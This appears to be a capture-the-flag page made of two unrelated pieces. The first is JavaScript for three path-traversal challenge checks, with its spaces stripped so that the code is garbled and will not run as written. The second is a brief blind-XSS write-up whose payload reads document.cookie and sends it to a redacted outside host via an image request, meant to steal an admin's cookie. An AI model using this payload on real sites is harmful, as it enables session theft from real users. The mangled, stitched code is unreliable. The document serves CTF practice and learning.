importpathfrom"path";constpreTask=(solution)=>{if(typeofsolution!=="string"){thrownewError("Solution must be a string");}if(solution.length>512){thrownewError("Solution must be less than 512 characters");}if(solution==="flag"){thrownewError("Your solution can't be 'flag'");}if(solution==="./flag"){thrownewError("Your solution can't be './flag'");}};exportconsttask1=(solution)=>{preTask(solution);if(!solution.startsWith("/robot")||solution.endsWith("/flag")){thrownewError(`You cannot access the flag (task1)!!! You are UNAUTHORIZED!!! Solution:\n ${solution}, \n ${path.join("/",solution)}`);}constsolutionPath=path.join("/",solution);returnsolutionPath==="/flag";};exportconsttask2=(solution)=>{preTask(solution);solution=solution.replaceAll("../","");if(solution==="/flag"){thrownewError(`You cannot ACCESS the flag (task2)!!! You are UNAUTHORIZED!!! Solution:\n ${solution}, \n ${path.join("/",solution)}`);}constsolutionPath=path.join("/",solution);returnsolutionPath==="/flag";};exportconsttask3=(solution)=>{preTask(solution);if(solution.includes("../")||solution==="/flag"){thrownewError(`You CANNOT ACCESS the flag (task3)!!! You are UNAUTHORIZED!!! Solution:\n ${solution}, \n ${path.join("/",solution)}`);}constsolutionPath=path.join("/",solution);returnsolutionPath==="/flag";};exportconsttasks=[`if (!solution.startsWith("/robot") || solution.endsWith("/flag")) {
throw new Error(
"You cannot access the flag!!! You are UNAUTHORIZED!!! 🤖🤖🤖🤖🤖"
);
}
const solutionPath = path.join("/", solution);
return solutionPath === "/flag";`,`solution = solution.replaceAll("../", "");
if (solution === "/flag") {
throw new Error(
"You cannot ACCESS the flag!!! You are UNAUTHORIZED!!! 🤖🤖🤖🤖🤖"
);
}
const solutionPath = path.join("/", solution);
return solutionPath === "/flag";`,`if (solution.includes("../") || solution === "/flag") {
throw new Error(
"You CANNOT ACCESS the flag!!! You are UNAUTHORIZED!!! 🤖🤖🤖🤖🤖"
);
}
const solutionPath = path.join("/", solution);
return solutionPath === "/flag";`,];
Challenge: Perform Blind XSS and retrieve admin cookie
Solution
I found out that I can inject JavaScript in the script tag because it is not sanitized by the DOMPurify.
Vulnerable Code
Blind-XSS payload
1
2
3
4
" + function(){
flag = document.cookie;
new Image().src="http://<redacted>?flag="+ flag;
return1}();document.getElementById("vision").textContent=text;//
Generate PNG with payload
Setup listener server then report the image to get the flag =)